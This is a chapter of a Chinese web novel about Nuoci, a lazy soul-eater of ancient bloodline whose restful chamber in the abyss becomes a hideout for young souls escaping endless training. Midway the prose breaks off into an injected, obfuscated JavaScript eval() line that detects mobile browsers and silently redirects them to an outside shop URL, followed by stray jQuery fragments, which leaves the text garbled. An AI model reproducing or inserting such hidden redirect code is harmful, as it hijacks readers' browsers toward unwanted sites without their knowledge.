安稳闲散的日子就这么一天接着一天过下去,没有半点波澜起伏。
深渊这片黑暗区域从来不会出现外界的昼夜更替,所有噬魂怪都没办法通过天色区分时间流逝,只能靠着自身魂体的细微变化,模糊判断自己已经度过了多长岁月。
糯糍依旧保持着自己一成不变的生活节奏,睡醒之后就安安稳稳摊在地面放空自己,身体彻底舒展,不去刻意维持任何形态。
她已经完全习惯了这种不用忙碌不用奔波的状态,相比于外头所有同族忙到停不下来的日子,她现在的生活算得上是整片深渊最让人放松的模样。
一直跟着她的那只小魂体,也彻底适应了寝殿里的舒服环境。
小家伙每天的活动范围就局限在这一方小小的空间里,没事就在半空慢慢飘着打转,累了就落回糯糍身边挨着她休息,全程不用承受半点外界阴气带来的不适,日子过得比同期所有低阶噬魂怪都要舒坦。
在这段时间里,时不时就会有陌生的低阶小辈,悄悄摸到寝殿外围的黑雾区域偷看。
这些小家伙都是听闻了族群里流传的各种说法,心里攒满了好奇,总想亲眼确认一下,这位拥有最古老血脉,却完全没办法修炼的上古小辈,平日里到底是什么状态。
最开始有人窥探的时候,糯糍还会稍微留意一下外头的动静,后来次数多到数不清,她干脆彻底懒得理会。
她很清楚自己的气息藏得很严实,外人根本探查不出半点异常,不管多少人来看热闹,最后都只会得到同一个结果,那就是她真的每天只是静静待着,没有任何修炼的举动,也没有任何特殊的能力展现。
大部分偷看的小辈,都是远远看上几眼,确认没有新鲜东西之后就悄悄离开,不敢长时间停留,更不敢靠近寝殿的屏障。
上古专属居所自带的气场,对这些修为浅薄的小魂体有着天然的震慑效果,它们打心底里不敢轻易触碰。
但今天外头的动静,和以往每一次都不一样。
原本只是一闪而过的轻微黑雾波动,没有像往常一样短暂停留之后直接走远,反而是一点点往前挪动,慢慢靠近了寝殿的外围屏障。
动作放得特别轻,每一次飘动都小心翼翼,生怕闹出动静被里面的存在察觉。
一直处于放松状态的小不点,第一时间捕捉到了这股陌生的气息。
原本慵懒飘在半空的小身子瞬间紧绷起来,整个雾体定在原地,脑袋对着殿门的方向一动不动,全程盯着外头的动静,一副随时警戒的模样。
糯糍这才慢悠悠收回自己放空的思绪,眼皮轻轻抬了一下。她依旧保持躺着的姿势,半点起身的意思都没有,只是靠着本能感知外头那道怯生生的小魂体。
能确定对方只是一只修为极低的普通小辈,没有任何危险气息,也没有高阶同族那种压迫感,就是胆子很小,又忍不住好奇,硬着头皮一点点凑了过来。
她心里大概猜到了对方的想法,应该是之前无数次远远观望还不满足,这次鼓足了勇气,想靠得更近一点,看看能不能察觉到更多不一样的细节。
换做深渊任何一处普通修炼区域,小辈之间根本不会有这种小心翼翼试探的状态,要么扎堆扎堆争抢能量,要么各自安静待着修炼,没人会浪费时间去关注一个不参与竞争的同族。
偏偏糯糍这里太过特殊,全族仅此一例的摆烂生活,放在全员拼命精进的深渊里,实在太过显眼,想不让小辈好奇都难。
外头的小魂体在屏障外头犹豫了很久,来回小幅飘动了好几次,像是在给自己壮胆,折腾了好半天,才鼓起勇气发出一缕极其微弱的意识波动,试探着往殿内传了进来。
这缕波动没有任何攻击性,也没有探查的意图,就只是单纯的打招呼,轻轻弱弱的,生怕惊扰到里面的人。
一直警戒的小不点瞬间慌了,小小的雾体往糯糍身边快速靠了靠,紧紧贴在她的身侧,像是遇到陌生人会本能躲起来的小孩子一样,怯生生盯着殿门。
糯糍看着自家小跟班这副模样,心里忍不住觉得好笑。平时在寝殿里自由自在闹腾,看着胆子挺大,结果遇到外来的同类,立马就变得拘谨胆小,反差实在明显。
她终于懒得继续装沉默,轻轻调动一丝极其细微的意识,对外头的小魂体做出回应,示意对方可以靠近一点。
屏障外头的小魂体明显愣了一下,能看得出来,它压根没料到自己试探性的打招呼,真的能得到回应。在所有小辈的认知里,这位上古身份的前辈,就算没有修炼的能力,地位也是远超全族所有人的,大概率会不屑于搭理它们这些最低层级的普通小辈。
迟疑了片刻之后,那道小小的黑雾才慢慢穿过屏障,小心翼翼飘进了寝殿内部。
进到殿内的一瞬间,这只新来的小魂体明显放松了不少。它能清晰感受到这片空间和外界的巨大差别,外头到处都是厚重压抑的阴气,吸一口都会让人觉得浑身不舒服,而这里的空气格外轻柔,没有半点让人烦躁的负面气息,待着就会让人觉得格外安心。
它不敢随意乱飘,就停在离殿门不远的位置,安安静静待着,视线落在摊在地上的糯糍身上,认认真真打量着这位传闻里的上古小辈。
糯糍也顺势打量了一番眼前的新来者,和自己身边的小不点差不多,都是刚刚成型没多久的低级魂体,身形单薄,气息微弱,在族群里属于最底层的存在,每天只能靠着争抢别人剩下的微弱能量勉强维持自身形态。
两个小家伙站在身份层级的最底端,唯一的区别就是,一个老老实实跟着大部队日复一日苦修受罪,一个早早看透一切,找了个舒服的地方彻底摆烂躺平。
新来的小魂体犹豫了很久,才慢慢传出断断续续的意识念头,语气里满是拘谨,又藏不住心底的好奇。
它问糯糍,为什么可以一直待在这么舒服的地方不用出去修炼,为什么长老们从来不会过来催促,也不会责怪她整日无所事事。
这个问题,几乎所有偷偷观望过的小辈心里都有,只是没人敢真的进来开口询问。
糯糍没有端任何架子,依旧躺着不动,用最随意的方式给对方做出回应。她直白告诉对方,自己的身体没办法吸收深渊随处可见的那些能量,强行出去修炼只会让自己难受,所以长老们才特意准许她不用参与所有修炼任务。
这个说法和族群里流传的传闻完全一致,新来的小魂体早就听过无数遍,此刻得到本人确认,也没有觉得意外,只是眼里的好奇丝毫没有减少。
它又接着问出了所有小辈最疑惑的问题,既然完全不能修炼,没办法提升自身实力,每天待在屋子里什么都不做,不会觉得心里难受,不会觉得自己和别的同族相比太过没用吗。
这话要是放在任何一个噬魂怪身上,都是最戳痛点的问题。深渊所有生灵活着的全部意义,就是不断吸纳能量变强,没办法修炼,就等同于失去了活着的目标,换做别人,大概率会陷入长久的低落和自我否定。
但糯糍完全没有这种想法。
她从小到大没有被灌输过必须拼命变强的念头,也不觉得不能修炼是什么缺憾。相比于天天泡在让人压抑的阴气里受罪,勉强换一点点微弱的实力提升,她更喜欢现在这种安安稳稳不用受苦的生活。
她很直白地把自己的想法传递出去,告诉眼前的小魂体,一直辛苦受罪换来的所谓强大,她一点都不想要,安安稳稳舒舒服服活着,对她来说就是最好的状态。
新来的小魂体彻底愣住了,停在原地半天没有动弹。
它从成型开始,就被周围所有环境影响,默认了噬魂怪生来就该不停修炼,不停争抢,哪怕过程再难受再煎熬,也必须咬牙坚持。它从来没有听过,还有人会主动放弃修炼,会觉得舒服活着比拼命变强更重要。
它盯着松弛躺着的糯糍看了很久,又转头看了看旁边全程放松、一点拘谨都没有的另一只小魂体,心里第一次生出了不一样的念头。
原来噬魂怪的生活,不一定只有修炼受罪这一种选择。
原来真的可以不用每天强迫自己吸纳难受的阴气,不用每天紧绷着神经争抢资源,也能安安稳稳维持住自己的魂体形态。
它待在轻柔干净的寝殿里,感受着这里完全不一样的氛围,外界常年积压在身上的疲惫和压抑,好像都在慢慢消散。短短片刻的停留,比它苦修很久的状态还要舒服。
糯糍看着它若有所思的样子,大概猜到了它的心思,也没有驱赶,也没有多聊,只是任由它待在殿内适应环境。
反正这片空间足够宽敞,多一个小家伙停留,也不会影响她的摆烂生活。而且让这些天天受罪苦修的小家伙感受一下不用吃苦的日子,也算不上是什么坏事。
新来的小魂体慢慢放松下来,胆子也大了不少,开始小心翼翼在殿内慢慢飘动。它学着旁边小不点的样子,慢悠悠在半空打转,感受着周身轻柔的气息,整只魂体都变得松弛很多。
它这才真切发现,同样是低级魂体,一直待在寝殿里的那只小家伙,状态比自己好太多了。身形更加稳固,气息更加柔和,完全没有自己身上那种常年吸收劣质阴气带来的躁动不稳。
不用辛苦修炼,不用争抢资源,单单只是待在这片舒服的地方,就能让自身状态稳步变好。
这个发现,彻底颠覆了这只小魂体从小到大的所有认知。
在这之后,这只原本兢兢业业跟着大部队苦修的小家伙,彻底打开了新世界的大门。
它不再像以前一样,每天准时去往拥挤的修炼场地争抢能量,反而一有空就悄悄溜到寝殿这边,进来待上一段时间,享受片刻不用承受压抑的轻松时光。
最开始它还会有所顾虑,害怕被别的同族发现,害怕被长辈察觉自己偷懒懈怠。次数多了之后,它彻底放开了心思,反正没人敢随意过问上古前辈身边的事情,只要不被长老撞见,就不会有任何问题。
慢慢的,来寝殿串门的小辈越来越多。
最开始只有零星一两个胆子大的小家伙敢过来,后来越来越多听闻消息的低级魂体,都悄悄摸到这边凑热闹。大家都是抱着同样的心思,想短暂逃离枯燥又难受的修炼生活,来这片独一无二的舒服区域喘口气。
原本冷清安静的上古寝殿,渐渐变成了整片深渊最特殊的小型休息区域。
别的地方全是紧绷的修炼氛围,所有魂体都在拼命精进,唯独这里,聚集了一堆偷偷摸鱼的小辈,安安静静待着放松自己,没有半点内卷的氛围。
糯糍依旧不管不问,任由这些小家伙自由进出。只要不吵闹,不刻意捣乱,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821835|211155||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
打扰她躺着放空,来多少小辈她都无所谓。
她依旧每天保持自己的摆烂节奏,睡醒就躺,躺累了就轻微飘动活动身体,无聊就看着一群小魂体在殿内慢悠悠玩耍闲逛,日子过得越发轻松自在。
久而久之,族群里关于她的说法,也悄悄发生了变化。
最开始所有人都觉得她是身世优越却自带缺陷的可怜存在,空有顶级血脉,一辈子没办法精进实力,只能被困在一方小殿里虚度光阴。大家提起她,语气里全是惋惜和同情。
现在慢慢有越来越多的小辈,私下里偷偷羡慕她的生活。
羡慕她不用被迫参与无休止的竞争,羡慕她可以光明正大偷懒休息,羡慕她拥有一片独一无二的舒服天地,羡慕她可以不用承受所有同族必须承受的痛苦煎熬。
慢慢传开的风声,也一点点传到了中高阶同族的耳朵里。
不少常年身居高位、一辈子都在苦修的高阶噬魂怪,听说了寝殿里的景象之后,全都觉得难以理解。它们活了漫长的岁月,从小到大只知道变强这一件事,从来没办法认同这种彻底摆烂的生存方式。
在这些高阶同族眼里,身为上古血脉却放弃所有精进的机会,安于现状虚度时光,是对自身天赋最大的浪费,是极其可惜的事情。
于是偶尔会有路过的高阶魂体,停下脚步,静静停在远处观望寝殿的动静。
它们看着殿内一堆低级小辈不务正业,不修炼不精进,只是单纯待着放松,再看看全程无动于衷、自顾自休息的糯糍,心里满是不解,甚至带着些许无奈。
只是有长老的明确指令在前,没人敢随意干预糯糍的生活,更没人敢指责她纵容小辈偷懒懈怠。所有观望的高阶同族,最后都只能带着满心的疑惑离开,没办法做出任何干预。
糯糍完全不在乎这些高阶同族的看法。
它们活在无尽的竞争和变强执念里,一辈子都没办法体会松弛活着的快乐,自然理解不了她的选择。道不同不相为谋,大家的生存方式本来就完全不一样,没必要强求彼此认同。
她唯一偶尔会琢磨的,还是自己的能量补给问题。
身上留存的人间甜味能量依旧在缓慢消耗,速度慢到几乎可以忽略,足够支撑她度过很长一段岁月。但她心里清楚,再耐用的存量,也总有耗尽的一天。
她现在的生活状态已经完美到极致,唯一的小缺憾,就是没办法在深渊找到适配自己的新能量。
整片天地所有可供噬魂怪吸收的东西,全都和她的体质相克,别人的生存资源,对她来说全是没用甚至有害的东西。
她有时候躺着发呆,会忍不住畅想人间的各种甜食,想着那些带着温柔暖意的味道,心里就会格外羡慕可以自由穿梭两界的存在。
如果可以离开深渊去往人间,她根本不用发愁能量的问题,随便一点普通的人间甜暖气息,就足够让她安稳滋养魂体很久很久。
只可惜深渊壁垒牢固,以她目前的状态,根本没办法破开空间去往外界,只能暂时被困在这片黑暗天地里,靠着仅剩的能量慢慢苟日子。
好在她心态足够平稳,从来不会为没发生的未来过度焦虑。
现在的日子足够舒服,足够安稳,能多享受一天摆烂的快乐,就是赚到一天。至于未来的补给问题,等真的遇到瓶颈了,再慢慢想办法就好。
随着前来串门的小辈越来越多,糯糍身边的小跟班,也成了所有小辈熟悉的存在。
原本孤零零的一只小魂体,现在有了一群同龄伙伴,每天不再是单纯发呆闲逛,还能和别的小魂体一起慢悠悠飘动玩耍,日子过得比以前更加热闹。
但不管外来的小辈再多,停留的时间再久,这只最早跟着糯糍的小魂体,永远是最特殊的那一个。
它不会跟着别的小辈到处乱跑,大部分时间还是安安静静待在糯糍身边,习惯性帮她留意外头的动静,默默守着这片舒服的小天地,始终保持着最忠诚的贴身陪伴。
糯糍也早就把这只小魂体当成了自己摆烂生活里固定的搭档。
一人一崽,一个彻底躺平懒得管事,一个乖乖贴身守着,再加上一群时不时过来摸鱼蹭舒服环境的小辈,让冷清的上古寝殿,变成了整个深渊最特别、最放松的一方小世界。
外头依旧是日复一日、永不停歇的苦修内卷,所有生灵都在黑暗里咬牙坚持,拼命争抢,不敢有半点松懈。
殿内却是一派松弛安静的景象,没有竞争,没有争抢,没有压力,没有必须完成的任务,所有人都只是单纯享受难得的轻松时光。
整片深渊上下,所有人都在为了虚无缥缈的更强实力耗尽岁月,只有糯糍跳出了这套固定的生存规则,拿着全族独一份的特权,带着一群小崽子,安安稳稳过着只属于自己的摆烂小日子。
名声在族群里两极分化得越来越严重。
高层全都觉得她浪费天赋、虚度岁月,满心惋惜。底层小辈全都偷偷羡慕她、向往她的生活,把她的寝殿当成了唯一可以短暂逃离压力的避风地。
而身处舆论中心的糯糍,依旧半点不受外界影响。
别人怎么评价,怎么惋惜,怎么羡慕,都干扰不到她半分。她只管每天舒舒服服躺着,好好享受这份独一无二、不用吃苦、不用内卷的神仙日子。